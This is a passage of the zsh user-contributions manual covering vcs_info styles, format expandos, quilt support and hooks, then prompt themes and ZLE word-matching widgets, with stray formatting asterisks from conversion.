The default is to generate a comma-separated list of all bookmark names that refer to the currently checked out revision. If a bookmark is active, its name is suffixed an asterisk and placed first in the list.

use-prompt-escapes
Determines if we assume that the assembled string from vcs_info includes prompt escapes. (Used by vcs_info_lastmsg*.)*

debug
Enable debugging output to track possible problems. Currently this style is only used by vcs_info*’s hooks system.*

hooks
A list style that defines hook-function names. See Hooks in vcs_info below for details.

patch-format

nopatch-format This pair of styles format the patch information used by the %m expando in formats and actionformats for the git and hg backends. The value is subject to certain %-expansions described below. The expanded value is made available in the global backend_misc array as ${backend_misc[patches]} (also if a set-patch-format hook is used).

get-unapplied
This boolean style controls whether a backend should attempt to gather a list of unapplied patches (for example with Mercurial Queue patches).

Used by the quilt*,* hg*, and* git backends.

The default values for these styles in all contexts are:

formats
" (%s)-[%b]%u%c-"

actionformats
" (%s)-[%b|%a]%u%c-"

branchformat
“%b:%r” (for bzr, svn, svk and hg)

nvcsformats
""

hgrevformat
“%r:%h”

max-exports
2

enable
ALL

disable
(empty list)

disable-patterns
(empty list)

check-for-changes
false

check-for-staged-changes
false

stagedstr
(string: “S”)

unstagedstr
(string: “U”)

command
(empty string)

use-server
false

use-simple
false

get-revision
false

get-mq
true

get-bookmarks
false

use-prompt-escapes
true

debug
false

hooks
(empty list)

use-quilt
false

quilt-standalone
false

quilt-patch-dir
empty - use $QUILT_PATCHES

quiltcommand
quilt

patch-format
backend dependent

nopatch-format
backend dependent

get-unapplied
false

In normal formats and actionformats the following replacements are done:

%s
The VCS in use (git, hg, svn, etc.).

%b
Information about the current branch.

%a
An identifier that describes the action. Only makes sense in actionformats*.*

%i
The current revision number or identifier. For hg the hgrevformat style may be used to customize the output.

%c
The string from the stagedstr style if there are staged changes in the repository.

%u
The string from the unstagedstr style if there are unstaged changes in the repository.

%R
The base directory of the repository.

%r
The repository name. If %R is /foo/bar/repoXY*,* %r is repoXY*.*

%S
A subdirectory within a repository. If $PWD is /foo/bar/repoXY/beer/tasty*,* %S is beer/tasty*.*

%m A “misc” replacement. It is at the discretion of the backend to decide what this replacement expands to.

The hg and git backends use this expando to display patch information. hg sources patch information from the mq extensions; git from in-progress rebase and cherry-pick operations and from the stgit extension. The patch-format and nopatch-format styles control the generated string. The former is used when at least one patch from the patch queue has been applied, and the latter otherwise.

The hg backend displays bookmark information in this expando (in addition to mq information). See the get-mq and get-bookmarks styles. Both of these styles may be enabled at the same time. If both are enabled, both resulting strings will be shown separated by a semicolon (that cannot currently be customized).

The quilt `standalone’ backend sets this expando to the same value as the %Q expando.

%Q
Quilt series information. When quilt is used (either in `addon’ mode or as a `standalone’ backend), this expando is set to the quilt series’ patch-format string. The set-patch-format hook and nopatch-format style are honoured.

See Quilt Support below for details.

In branchformat these replacements are done:

%b
The branch name. For hg*, the branch name can include a* topic name.

%r
The current revision number or the hgrevformat style for hg*.*

In hgrevformat these replacements are done:

%r
The current local revision number.

%h
The current global revision identifier.

In patch-format and nopatch-format these replacements are done:

%p
The name of the top-most applied patch; may be overridden by the applied-string hook.

%u
The number of unapplied patches; may be overridden by the unapplied-string hook.

%n
The number of applied patches.

%c
The number of unapplied patches.

%a
The number of all patches (%a = %n + %c*).*

%g
The names of active mq *guards (*hg backend).

%G
The number of active mq *guards (*hg backend).

Not all VCS backends have to support all replacements. For nvcsformats no replacements are performed at all, it is just a string.

Oddities

If you want to use the %b (bold off) prompt expansion in formats*,* which expands %b itself, use %%b*. That will cause the* vcs_info expansion to replace %%b with %b*, so that zsh’s prompt expansion* mechanism can handle it. Similarly, to hand down %b from branchformat*, use* %%%%b*. Sorry for this inconvenience, but it* cannot be easily avoided. Luckily we do not clash with a lot of prompt expansions and this only needs to be done for those.

When one of the gen-applied-string*,* gen-unapplied-string*, and* set-patch-format hooks is defined, applying %-escaping (`foo=${foo//’%’/%%}’) to the interpolated values for use in the prompt is the responsibility of those hooks (jointly); when neither of those hooks is defined, vcs_info handles escaping by itself. We regret this coupling, but it was required for backwards compatibility.

Quilt Support

Quilt is not a version control system, therefore this is not implemented as a backend. It can help keeping track of a series of patches. People use it to keep a set of changes they want to use on top of software packages (which is tightly integrated into the package build process - the Debian project does this for a large number of packages). Quilt can also help individual developers keep track of their own patches on top of real version control systems.

The vcs_info integration tries to support both ways of using quilt by having two slightly different modes of operation: `addon’ mode and `standalone’ mode).

Quilt integration is off by default; to enable it, set the use-quilt style, and add %Q to your formats or actionformats style:

zstyle ‘:vcs_info:*’ use-quilt true

Styles looked up from the Quilt support code include `**.quilt-quilt-mode’ in the vcs-string part of the context, where quilt-mode is either addon or standalone. Example: **:vcs_info:git.quilt-addon:default:**repo-root-name.

For `addon’ mode to become active vcs_info must have already detected a real version control system controlling the directory. If that is the case, a directory that holds quilt’s patches needs to be found. That directory is configurable via the `QUILT_PATCHES*’ environment variable. If that* variable exists its value is used, otherwise the value `patches*’ is* assumed. The value from $QUILT_PATCHES can be overwritten using the `quilt-patch-dir*’ style. (Note: you can use* vcs_info to keep the value of $QUILT_PATCHES correct all the time via the post-quilt hook).

When the directory in question is found, quilt is assumed to be active. To gather more information, vcs_info looks for a directory called `.pc’; Quilt uses that directory to track its current state. If this directory does not exist we know that quilt has not done anything to the working directory (read: no patches have been applied yet).

If patches are applied, vcs_info will try to find out which. If you want to know which patches of a series are not yet applied, you need to activate the get-unapplied style in the appropriate context.

vcs_info allows for very detailed control over how the gathered information is presented (see the Configuration and Hooks in vcs_info sections), all of which are documented below. Note there are a number of other patch tracking systems that work on top of a certain version control system (like stgit for git*, or* mq for hg*); the configuration* for systems like that are generally configured the same way as the quilt support.

If the quilt support is working in `addon’ mode, the produced string is available as a simple format replacement (%Q to be precise), which can be used in formats and actionformats*; see below for details).*

If, on the other hand, the support code is working in `standalone’ mode, vcs_info will pretend as if quilt were an actual version control system. That means that the version control system identifier (which otherwise would be something like `svn’ or `cvs’) will be set to `-quilt-’. This has implications on the used style context where this identifier is the second element. vcs_info will have filled in a proper value for the “repository’s” root directory and the string containing the information about quilt’s state will be available as the `misc’ replacement (and %Q for compatibility with `addon’ mode).

What is left to discuss is how `standalone’ mode is detected. The detection itself is a series of searches for directories. You can have this detection enabled all the time in every directory that is not otherwise under version control. If you know there is only a limited set of trees where you would like vcs_info to try and look for Quilt in `standalone’ mode to minimise the amount of searching on every call to vcs_info*, there are a number of* ways to do that:

Essentially, `standalone’ mode detection is controlled by a style called `quilt-standalone*’. It is a string style and its value can have different* effects. The simplest values are: `always*’ to run detection every time* vcs_info is run, and `never’ to turn the detection off entirely.

If the value of quilt-standalone is something else, it is interpreted differently. If the value is the name of a scalar variable the value of that variable is checked and that value is used in the same `always’/`never’ way as described above.

If the value of quilt-standalone is an array, the elements of that array are used as directory names under which you want the detection to be active.

If quilt-standalone is an associative array, the keys are taken as directory names under which you want the detection to be active, but only if the corresponding value is the string `true*’.*

Last, but not least, if the value of quilt-standalone is the name of a function, the function is called without arguments and the return value decides whether detection should be active. A `0’ return value is true; a non-zero return value is interpreted as false.

Note, if there is both a function and a variable by the name of quilt-standalone*, the function will take precedence.*

Function Descriptions (Public API)

vcs_info [user-context] The main function, that runs all backends and assembles all data into ${vcs_info_msg_*_}. This is the function you want to call from precmd if you want to include up-to-date information in your prompt (see Variable Description below). If an argument is given, that string will be used instead of default in the user-context field of the style context.

vcs_info_hookadd
Statically registers a number of functions to a given hook. The hook needs to be given as the first argument; what follows is a list of hook-function names to register to the hook. The `+vi-’ prefix needs to be left out here. See Hooks in vcs_info below for details.

vcs_info_hookdel
Remove hook-functions from a given hook. The hook needs to be given as the first non-option argument; what follows is a list of hook-function names to un-register from the hook. If `-a*’ is used as the first* argument, all occurrences of the functions are unregistered. Otherwise only the last occurrence is removed (if a function was registered to a hook more than once). The `+vi-’ prefix needs to be left out here. See Hooks in vcs_info below for details.

vcs_info_lastmsg
Outputs the current values of ${vcs_info_msg_*_}. Takes into account the value of the use-prompt-escapes style in ’:vcs_info:formats:command:-all-’. It also only prints max-exports values.

vcs_info_printsys [user-context]
Prints a list of all supported version control systems. Useful to find out possible contexts (and which of them are enabled) or values for the disable style.

vcs_info_setsys
Initializes vcs_info*’s internal list of* available backends. With this function, you can add support for new VCSs without restarting the shell.

All functions named VCS_INFO_* are for internal use only.

Variable Description

${vcs_info_msg_N_} (Note the trailing underscore) Where N is an integer, e.g., vcs_info_msg_0_. These variables are the storage for the informational message the last vcs_info call has assembled. These are strongly connected to the formats*,* actionformats and nvcsformats styles described above. Those styles are lists. The first member of that list gets expanded into ${vcs_info_msg_0_}, the second into ${vcs_info_msg_1_} and the Nth into ${vcs_info_msg_N-1_}. (See the max-exports style above.)

All variables named VCS_INFO_* are for internal use only.

Hooks in vcs_info

Hooks are places in vcs_info where you can run your own code. That code can communicate with the code that called it and through that, change the system’s behaviour.

For configuration, hooks change the style context:

:vcs_info:vcs-string+hook-name:user-context:repo-root-name

To register functions to a hook, you need to list them in the hooks style in the appropriate context.

Example:

zstyle ‘:vcs_info:+foo:’ hooks bar baz

This registers functions to the hook `foo’ for all backends. In order to avoid namespace problems, all registered function names are prepended by a `+vi-’, so the actual functions called for the `foo’ hook are `+vi-bar*’ and `+vi-baz’.*

If you would like to register a function to a hook regardless of the current context, you may use the vcs_info_hookadd function. To remove a function that was added like that, the vcs_info_hookdel function can be used.

If something seems weird, you can enable the `debug’ boolean style in the proper context and the hook-calling code will print what it tried to execute and whether the function in question existed.

When you register more than one function to a hook, all functions are executed one after another until one function returns non-zero or until all functions have been called. Context-sensitive hook functions are executed before statically registered ones (the ones added by vcs_info_hookadd*).*

You may pass data between functions via an associative array, user_data*.* For example:

+vi-git-myfirsthook(){ user_data[myval]=$myval } +vi-git-mysecondhook(){ # do something with ${user_data[myval]} }

There are a number of variables that are special in hook contexts:

ret The return value that the hooks system will return to the caller. The default is an integer `zero’. If and how a changed ret value changes the execution of the caller depends on the specific hook. See the hook documentation below for details.

hook_com
An associated array which is used for bidirectional communication from the caller to hook functions. The used keys depend on the specific hook.

context
The active context of the hook. Functions that wish to change this variable should make it local scope first.

vcs
The current VCS after it was detected. The same values as in the enable/disable style are used. Available in all hooks except start-up*.*

Finally, the full list of currently available hooks:

start-up Called after starting vcs_info but before the VCS in this directory is determined. It can be used to deactivate vcs_info temporarily if necessary. When ret is set to 1*,* vcs_info aborts and does nothing; when set to 2*,* vcs_info sets up everything as if no version control were active and exits.

pre-get-data
Same as start-up but after the VCS was detected.

gen-hg-bookmark-string
Called in the Mercurial backend when a bookmark string is generated; the get-revision and get-bookmarks styles must be true.

This hook gets the names of the Mercurial bookmarks that vcs_info collected from `hg’.

If a bookmark is active, the key ${hook_com[hg-active-bookmark]} is set to its name. The key is otherwise unset.

When setting ret to non-zero, the string in ${hook_com[hg-bookmark-string]} will be used in the %m escape in formats and actionformats and will be available in the global backend_misc array as ${backend_misc[bookmarks]}.

gen-applied-string
Called in the git (with stgit or during rebase or merge), and hg (with mq*) backends and in* quilt support when the applied-string is generated; the use-quilt zstyle must be true for quilt (the mq and stgit backends are active by default).

The arguments to this hook describe applied patches in the opposite order, which means that the first argument is the top-most patch and so forth.

When the patches’ log messages can be extracted, those are embedded within each argument after a space, so each argument is of the form `patch-name first line of the log message’, where patch-name contains no whitespace. The mq backend passes arguments of the form `patch name’, with possible embedded spaces, but without extracting the patch’s log message.

When setting ret to non-zero, the string in ${hook_com[applied-string]} will be available as %p in the patch-format and nopatch-format styles. This hook is, in concert with set-patch-format*, responsible for* %-escaping that value for use in the prompt. (See the Oddities section.)

The quilt backend passes to this hook the inputs ${hook_com[quilt-patches-dir]} and, if it has been determined, ${hook_com[quilt-pc-dir]}.

gen-unapplied-string
Called in the git (with stgit or during rebase), and hg (with mq*) backend and in* quilt support when the unapplied-string is generated; the get-unapplied style must be true.

This hook gets the names of all unapplied patches which vcs_info in order, which means that the first argument is the patch next-in-line to be applied and so forth.

The format of each argument is as for gen-applied-string*, above.*

When setting ret to non-zero, the string in ${hook_com[unapplied-string]} will be available as %u in the patch-format and nopatch-format styles. This hook is, in concert with set-patch-format*, responsible for* %-escaping that value for use in the prompt. (See the Oddities section.)

The quilt backend passes to this hook the inputs ${hook_com[quilt-patches-dir]} and, if it has been determined, ${hook_com[quilt-pc-dir]}.

gen-mqguards-string
Called in the hg backend when guards-string is generated; the get-mq style must be true (default).

This hook gets the names of any active mq guards.

When setting ret to non-zero, the string in ${hook_com[guards-string]} will be used in the %g escape in the patch-format and nopatch-format styles.

no-vcs
This hooks is called when no version control system was detected.

The `hook_com*’ parameter is not used.*

post-backend
Called as soon as the backend has finished collecting information.

The `hook_com*’ keys available are as for the* set-message hook.

post-quilt
Called after the quilt support is done. The following information is passed as arguments to the hook: 1. the quilt-support mode (`addon’ or `standalone’); 2. the directory that contains the patch series; 3. the directory that holds quilt’s status information (the `.pc’ directory) or the string "-nopc-" if that directory wasn’t found.

The `hook_com’ parameter is not used.

set-branch-format
Called before `branchformat*’ is set. The only argument to the* hook is the format that is configured at this point.

The `hook_com*’ keys considered are `branch’ and `revision’.* They are set to the values figured out so far by vcs_info and any change will be used directly when the actual replacement is done.

If ret is set to non-zero, the string in ${hook_com[branch-replace]} will be used unchanged as the `%b*’ replacement in the variables set by* vcs_info*.*

set-hgrev-format
Called before a `hgrevformat*’ is set. The only argument to the* hook is the format that is configured at this point.

The `hook_com*’ keys considered are `hash’ and `localrev’.* They are set to the values figured out so far by vcs_info and any change will be used directly when the actual replacement is done.

If ret is set to non-zero, the string in ${hook_com[rev-replace]} will be used unchanged as the `%i*’ replacement in the variables set by* vcs_info*.*

pre-addon-quilt
This hook is used when vcs_info*’s quilt functionality is active in “addon”* mode (quilt used on top of a real version control system). It is activated right before any quilt specific action is taken.

Setting the `ret*’ variable in this hook to a non-zero value avoids any* quilt specific actions from being run at all.

set-patch-format
This hook is used to control some of the possible expansions in patch-format and nopatch-format styles with patch queue systems such as quilt, mqueue and the like.

This hook is used in the git*,* hg and quilt backends.

The hook allows the control of the %p (${hook_com[applied]}) and %u (${hook_com[unapplied]}) expansion in all backends that use the hook. With the mercurial backend, the %g (${hook_com[guards]}) expansion is controllable in addition to that.

If ret is set to non-zero, the string in ${hook_com[patch-replace]} will be used unchanged instead of an expanded format from patch-format or nopatch-format*.*

This hook is, in concert with the gen-applied-string or gen-unapplied-string hooks if they are defined, responsible for %-escaping the final patch-format value for use in the prompt. (See the Oddities section.)

The quilt backend passes to this hook the inputs ${hook_com[quilt-patches-dir]} and, if it has been determined, ${hook_com[quilt-pc-dir]}.

set-message
Called each time before a `vcs_info_msg_N_’ message is set. It takes two arguments; the first being the `N’ in the message variable name, the second is the currently configured formats or actionformats*.*

There are a number of `hook_com*’ keys, that are used here:* `action*’, `branch’, `base’, `base-name’, `subdir’,* `staged*’, `unstaged’, `revision’, `misc’, `vcs’* and one `miscN*’ entry for each backend-specific data field (*N starting at zero). They are set to the values figured out so far by vcs_info and any change will be used directly when the actual replacement is done.

Since this hook is triggered multiple times (once for each configured formats or actionformats*), each of the `hook_com’ keys mentioned* above (except for the miscN entries) has an `_orig*’ counterpart,* so even if you changed a value to your liking you can still get the original value in the next run. Changing the `_orig*’ values is* probably not a good idea.

If ret is set to non-zero, the string in ${hook_com[message]} will be used unchanged as the message by vcs_info*.*

If all of this sounds rather confusing, take a look at the Examples section below and also in the Misc/vcs_info-examples file in the Zsh source. They contain some explanatory code.

Examples

Don’t use vcs_info at all (even though it’s in your prompt):

zstyle ‘:vcs_info:*’ enable NONE

Disable the backends for bzr and svk*:*

zstyle ‘:vcs_info:*’ disable bzr svk

Disable everything but bzr and svk*:*

zstyle ‘:vcs_info:*’ enable bzr svk

Provide a special formats for git*:*

zstyle ‘:vcs_info:git:’ formats ’ GIT, BABY! [%b]’ zstyle ‘:vcs_info:git:’ actionformats ’ GIT ACTION! [%b|%a]’

All %x expansion in all sorts of formats (formats, actionformats*,* branchformat*, you name it) are done using the `zformat’ builtin from* the `zsh/zutil*’ module. That means you can do everything with these* %x items what zformat supports. In particular, if you want something that is really long to have a fixed width, like a hash in a mercurial branchformat, you can do this: %12.12i*. That’ll shrink the 40 character* hash to its 12 leading characters. The form is actually `%min.maxx*’. More is possible.* See the section `The zsh/zutil Module’ in zshmodules(1) for details.

Use the quicker bzr backend

zstyle ‘:vcs_info:bzr:*’ use-simple true

If you do use use-simple*, please report if it does `the-right-thing[tm]’.*

Display the revision number in yellow for bzr and svn*:*

zstyle ‘:vcs_info:(svn|bzr):*’ \ branchformat ‘%b%%F{yellow}:%r’

The doubled percent sign is explained in the Oddities section.

Alternatively, one can use the raw colour codes directly:

zstyle ‘:vcs_info:(svn|bzr):*’ \ branchformat ‘%b%{’${fg[yellow]}’%}:%r’

Normally when a variable is interpolated into a format string, the variable needs to be %-escaped. In this example we skipped that because we assume the value of ${fg[yellow]} doesn’t contain any % signs.

Make sure you enclose the color codes in %{%} if you want to use the string provided by vcs_info in prompts.

Here is how to print the VCS information as a command (not in a prompt):

vcsi() { vcs_info interactive; vcs_info_lastmsg }

This way, you can even define different formats for output via vcs_info_lastmsg in the ‘:vcs_info:*:interactive:*’ namespace.

Now as promised, some code that uses hooks: say, you’d like to replace the string `svn’ by `subversion’ in vcs_info*’s* %s formats replacement.

First, we will tell vcs_info to call a function when populating the message variables with the gathered information:

zstyle ‘:vcs_info:+set-message:’ hooks svn2subversion

Nothing happens. Which is reasonable, since we didn’t define the actual function yet. To see what the hooks subsystem is trying to do, enable the `debug*’ style:*

zstyle ‘:vcs_info:+:*’ debug true

That should give you an idea what is going on. Specifically, the function that we are looking for is `+vi-svn2subversion*’. Note, the `+vi-’* prefix. So, everything is in order, just as documented. When you are done checking out the debugging output, disable it again:

zstyle ‘:vcs_info:+:*’ debug false

Now, let’s define the function:

function +vi-svn2subversion() { [[ ${hook_com[vcs_orig]} == svn ]] && hook_com[vcs]=subversion }

Simple enough. And it could have even been simpler, if only we had registered our function in a less generic context. If we do it only in the `svn*’ backend’s context, we don’t need to test which the active* backend is:

zstyle ‘:vcs_info:svn+set-message:*’ hooks svn2subversion

function +vi-svn2subversion() { hook_com[vcs]=subversion }

And finally a little more elaborate example, that uses a hook to create a customised bookmark string for the hg backend.

Again, we start off by registering a function:

zstyle ‘:vcs_info:hg+gen-hg-bookmark-string:*’ hooks hgbookmarks

And then we define the `+vi-hgbookmarks*’ function:*

function +vi-hgbookmarks() { # The default is to connect all bookmark names by # commas. This mixes things up a little. # Imagine, there’s one type of bookmarks that is # special to you. Say, because it’s your work. # Those bookmarks look always like this: “sh/*” # (because your initials are sh, for example). # This makes the bookmarks string use only those # bookmarks. If there’s more than one, it # concatenates them using commas. # The bookmarks returned by hg' are available in # the function's positional parameters. local s="${(Mj:,:)@:#sh/*}" # Now, the communication with the code that calls # the hook functions is done via the hook_com[] # hash. The key at which the gen-hg-bookmark-string’ # hook looks is hg-bookmark-string'. So: hook_com[hg-bookmark-string]=$s # And to signal that we want to use the string we # just generated, set the special variable ret’ to # something other than the default zero: ret=1 return 0 }

Some longer examples and code snippets which might be useful are available in the examples file located at Misc/vcs_info-examples in the Zsh source directory.

This concludes our guided tour through zsh’s vcs_info*.*

PROMPT THEMES

Installation

You should make sure all the functions from the Functions/Prompts directory of the source distribution are available; they all begin with the string `prompt_’ except for the special function `promptinit’. You also need the `colors*’ and `add-zsh-hook’ functions from* Functions/Misc*.* All these functions may already be installed on your system; if not, you will need to find them and copy them. The directory should appear as one of the elements of the fpath array (this should already be the case if they were installed), and at least the function promptinit should be autoloaded; it will autoload the rest. Finally, to initialize the use of the system you need to call the promptinit function. The following code in your .zshrc will arrange for this; assume the functions are stored in the directory ~/myfns*:*

fpath=(~/myfns $fpath) autoload -U promptinit promptinit

Theme Selection

Use the prompt command to select your preferred theme. This command may be added to your .zshrc following the call to promptinit in order to start zsh with a theme already selected.

prompt [ -c | -l ]

prompt [ -p | -h ] [ theme … ]

prompt [ -s ] theme [ arg … ] Set or examine the prompt theme. With no options and a theme argument, the theme with that name is set as the current theme. The available themes are determined at run time; use the -l option to see a list. The special theme `random’ selects at random one of the available themes and sets your prompt to that.

In some cases the theme may be modified by one or more arguments, which should be given after the theme name. See the help for each theme for descriptions of these arguments.

Options are:

-c
Show the currently selected theme and its parameters, if any.

-l
List all available prompt themes.

-p
Preview the theme named by theme, or all themes if no theme is given.

-h
Show help for the theme named by theme, or for the prompt function if no theme is given.

-s
Set theme as the current theme and save state.

prompt_theme_setup
Each available theme has a setup function which is called by the prompt function to install that theme. This function may define other functions as necessary to maintain the prompt, including functions used to preview the prompt or provide help for its use. You should not normally call a theme’s setup function directly.

Utility Themes

prompt off The theme `off*’ sets all the prompt variables to minimal values with* no special effects.

prompt default
The theme `default*’ sets all prompt variables to the same state as* if an interactive zsh was started with no initialization files.

prompt restore
The special theme `restore*’ erases all theme settings and sets prompt* variables to their state before the first time the `prompt*’ function* was run, provided each theme has properly defined its cleanup (see below).

Note that you can undo `prompt off*’ and `prompt default’ with* `prompt restore*’, but a second restore does not undo the first.*

Writing Themes

The first step for adding your own theme is to choose a name for it, and create a file `prompt_name_setup*’ in a directory in your* fpath*, such as* ~/myfns in the example above. The file should at minimum contain assignments for the prompt variables that your theme wishes to modify. By convention, themes use PS1*,* PS2*,* RPS1*, etc., rather than the longer* PROMPT and RPROMPT*.*

The file is autoloaded as a function in the current shell context, so it may contain any necessary commands to customize your theme, including defining additional functions. To make some complex tasks easier, your setup function may also do any of the following:

Assign prompt_opts The array prompt_opts may be assigned any of “bang”, “cr”, “percent”, “sp”, and/or “subst” as values. The corresponding setopts (promptbang*, etc.) are turned on, all other prompt-related* options are turned off. The prompt_opts array preserves setopts even beyond the scope of localoptions*, should your function need that.*

Modify hooks
Use of add-zsh-hook and add-zle-hook-widget is recommended (see the Manipulating Hook Functions section above). All hooks that follow the naming pattern **prompt_theme_**hook are automatically removed when the prompt theme changes or is disabled.

Declare cleanup
If your function makes any other changes that should be undone when the theme is disabled, your setup function may call

prompt_cleanup command

where command should be suitably quoted. If your theme is ever disabled or replaced by another, command is executed with eval*.* You may declare more than one such cleanup hook.

Define preview
Define or autoload a function prompt_name_preview to display a simulated version of your prompt. A simple default previewer is defined by promptinit for themes that do not define their own. This preview function is called by `prompt -p*’.*

Provide help
Define or autoload a function prompt_name_help to display documentation or help text for your theme. This help function is called by `prompt -h*’.*

ZLE FUNCTIONS

Widgets

These functions all implement user-defined ZLE widgets (see zshzle(1)) which can be bound to keystrokes in interactive shells. To use them, your .zshrc should contain lines of the form

autoload function zle -N function

followed by an appropriate bindkey command to associate the function with a key sequence. Suggested bindings are described below.

bash-style word functions If you are looking for functions to implement moving over and editing words in the manner of bash, where only alphanumeric characters are considered word characters, you can use the functions described in the next section. The following is sufficient:

autoload -U select-word-style select-word-style bash

forward-word-match*,* backward-word-match

kill-word-match*,* backward-kill-word-match

transpose-words-match*,* capitalize-word-match

up-case-word-match*,* down-case-word-match

delete-whole-word-match*,* select-word-match

select-word-style*,* match-word-context*,* match-words-by-style The first eight `-match*’ functions are drop-in replacements for the* builtin widgets without the suffix. By default they behave in a similar way. However, by the use of styles and the function select-word-style*,* the way words are matched can be altered. select-word-match is intended to be used as a text object in vi mode but with custom word styles. For comparison, the widgets described in zshzle(1) under Text Objects use fixed definitions of words, compatible with the vim editor.

The simplest way of configuring the functions is to use select-word-style*, which can either be called as a normal function with* the appropriate argument, or invoked as a user-defined widget that will prompt for the first character of the word style to be used. The first time it is invoked, the first eight -match functions will automatically replace the builtin versions, so they do not need to be loaded explicitly.

The word styles available are as follows. Only the first character is examined.

bash Word characters are alphanumeric characters only.

normal
As in normal shell operation: word characters are alphanumeric characters plus any characters present in the string given by the parameter $WORDCHARS*.*

shell
Words are complete shell command arguments, possibly including complete quoted strings, or any tokens special to the shell.

whitespace
Words are any set of characters delimited by whitespace.

default
Restore the default settings; this is usually the same as `normal*’.*

All but `default*’ can be input as an upper case character, which has* the same effect but with subword matching turned on. In this case, words with upper case characters are treated specially: each separate run of upper case characters, or an upper case character followed by any number of other characters, is considered a word. The style subword-range can supply an alternative character range to the default `[:upper:]’; the value of the style is treated as the contents of a `[] pattern (note that the outer brackets should not be supplied, only those surrounding named ranges).

More control can be obtained using the zstyle command, as described in zshmodules(1). Each style is looked up in the context :zle:widget where widget is the name of the user-defined widget, not the name of the function implementing it, so in the case of the definitions supplied by select-word-style the appropriate contexts are :zle:forward-word, and so on. The function select-word-style itself always defines styles for the context `:zle:***’ which can be overridden by more specific (longer) patterns as well as explicit contexts.

The style word-style specifies the rules to use. This may have the following values.

normal Use the standard shell rules, i.e. alphanumerics and $WORDCHARS*, unless* overridden by the styles word-chars or word-class*.*

specified
Similar to normal*, but only the specified characters, and not also* alphanumerics, are considered word characters.

unspecified
The negation of specified. The given characters are those which will not be considered part of a word.

shell
Words are obtained by using the syntactic rules for generating shell command arguments. In addition, special tokens which are never command arguments such as `()’ are also treated as words.

whitespace
Words are whitespace-delimited strings of characters.

The first three of those rules usually use $WORDCHARS*, but the value* in the parameter can be overridden by the style word-chars*, which works* in exactly the same way as $WORDCHARS*. In addition, the style* word-class uses character class syntax to group characters and takes precedence over word-chars if both are set. The word-class style does not include the surrounding brackets of the character class; for example, `-:[:alnum:]’ is a valid word-class to include all alphanumerics plus the characters `-’ and `:’. Be careful including `]’, `^’ and `-’ as these are special inside character classes.

word-style may also have `-subword*’ appended to its value to* turn on subword matching, as described above.

The style skip-chars is mostly useful for transpose-words and similar functions. If set, it gives a count of characters starting at the cursor position which will not be considered part of the word and are treated as space, regardless of what they actually are. For example, if

zstyle ‘:zle:transpose-words’ skip-chars 1

has been set, and transpose-words-match is called with the cursor on the X of fooXbar*, where X can be any character, then* the resulting expression is barXfoo*.*

Finer grained control can be obtained by setting the style word-context to an array of pairs of entries. Each pair of entries consists of a pattern and a subcontext. The shell argument the cursor is on is matched against each pattern in turn until one matches; if it does, the context is extended by a colon and the corresponding subcontext. Note that the test is made against the original word on the line, with no stripping of quotes. Special handling is done between words: the current context is examined and if it contains the string between the word is set to a single space; else if it is contains the string back*,* the word before the cursor is considered, else the word after cursor is considered. Some examples are given below.

The style skip-whitespace-first is only used with the forward-word widget. If it is set to true, then forward-word skips any non-word-characters, followed by any non-word-characters: this is similar to the behaviour of other word-orientated widgets, and also that used by other editors, however it differs from the standard zsh behaviour. When using select-word-style the widget is set in the context :zle:* to true if the word style is bash and false otherwise. It may be overridden by setting it in the more specific context :zle:forward-word*.

It is possible to create widgets with specific behaviour by defining a new widget implemented by the appropriate generic function, then setting a style for the context of the specific widget. For example, the following defines a widget backward-kill-space-word using backward-kill-word-match*, the generic widget implementing* backward-kill-word behaviour, and ensures that the new widget always implements space-delimited behaviour.

zle -N backward-kill-space-word backward-kill-word-match zstyle :zle:backward-kill-space-word word-style space

The widget backward-kill-space-word can now be bound to a key.

Here are some further examples of use of the styles, actually taken from the simplified interface in select-word-style*:*

zstyle ‘:zle:’ word-style standard zstyle ‘:zle:’ word-chars '’

Implements bash-style word handling for all widgets, i.e. only alphanumerics are word characters; equivalent to setting the parameter WORDCHARS empty for the given context.

style ‘:zle:kill’ word-style space

Uses space-delimited words for widgets with the word `kill’ in the name. Neither of the styles word-chars nor word-class is used in this case.

Here are some examples of use of the word-context style to extend the context.

zstyle ‘:zle:’ word-context \ “/*” filename “[[:space:]]” whitespace zstyle ‘:zle:transpose-words:whitespace’ word-style shell zstyle ‘:zle:transpose-words:filename’ word-style normal zstyle ‘:zle:transpose-words:filename’ word-chars '’

This provides two different ways of using transpose-words depending on whether the cursor is on whitespace between words or on a filename, here any word containing a /. On whitespace, complete arguments as defined by standard shell rules will be transposed. In a filename, only alphanumerics will be transposed. Elsewhere, words will be transposed using the default style for :zle:transpose-words*.*

The word matching and all the handling of zstyle settings is actually implemented by the function match-words-by-style*. This can be used to* create new user-defined widgets. The calling function should set the local parameter curcontext to **:zle:**widget, create the local parameter matched_words and call match-words-by-style with no arguments. On return, matched_words will be set to an array with the elements: (1) the start of the line (2) the word before the cursor (3) any non-word characters between that word and the cursor (4) any non-word character at the cursor position plus any remaining non-word characters before the next word, including all characters specified by the skip-chars style, (5) the word at or following the cursor (6) any non-word characters following that word (7) the remainder of the line. Any of the elements may be an empty string; the calling function should test for this to decide whether it can perform its function.

If the variable matched_words is defined by the caller to match-words-by-style as an associative array (local -A matched_words), then the seven values given above should be retrieved from it as elements named start*,* word-before-cursor*,* ws-before-cursor*,* ws-after-cursor*,* word-after-cursor*,* ws-after-word*, and* end*. In addition the element* is-word-start is 1 if the cursor is on the start of a word or subword, or on white space before it (the cases can be distinguished by testing the ws-after-cursor element) and 0 otherwise. This form is recommended for future compatibility.

It is possible to pass options with arguments to match-words-by-style to override the use of styles. The options are:

-w
word-style

-s
skip-chars

-c
word-class

-C
word-chars

-r
subword-range

For example, match-words-by-style -w shell -c 0 may be used to extract the command argument around the cursor.

The word-context style is implemented by the function match-word-context*. This should not usually need to be called* directly.

bracketed-paste-magic
The bracketed-paste widget (see the subsection `Miscellaneous’ in zshzle(1)) inserts pasted text literally into the editor buffer rather than interpret it as keystrokes. This disables some common usages where the self-insert widget is replaced in order to accomplish some extra processing. An example is the contributed url-quote-magic widget described below.

The bracketed-paste-magic widget is meant to replace bracketed-paste with a wrapper that re-enables these self-insert actions, and other actions as selected by zstyles. Therefore this widget is installed with

autoload -Uz bracketed-paste-magic zle -N bracketed-paste bracketed-paste-magic

Other than enabling some widget processing, bracketed-paste-magic attempts to replicate bracketed-paste as faithfully as possible.

The following zstyles may be set to control processing of pasted text. All are looked up in the context `:bracketed-paste-magic*’.*

active-widgets A list of patterns matching widget names that should be activated during the paste. All other key sequences are processed as self-insert-unmeta. The default is `self-*’ so any user-defined widgets named with that prefix are active along with the builtin self-insert.

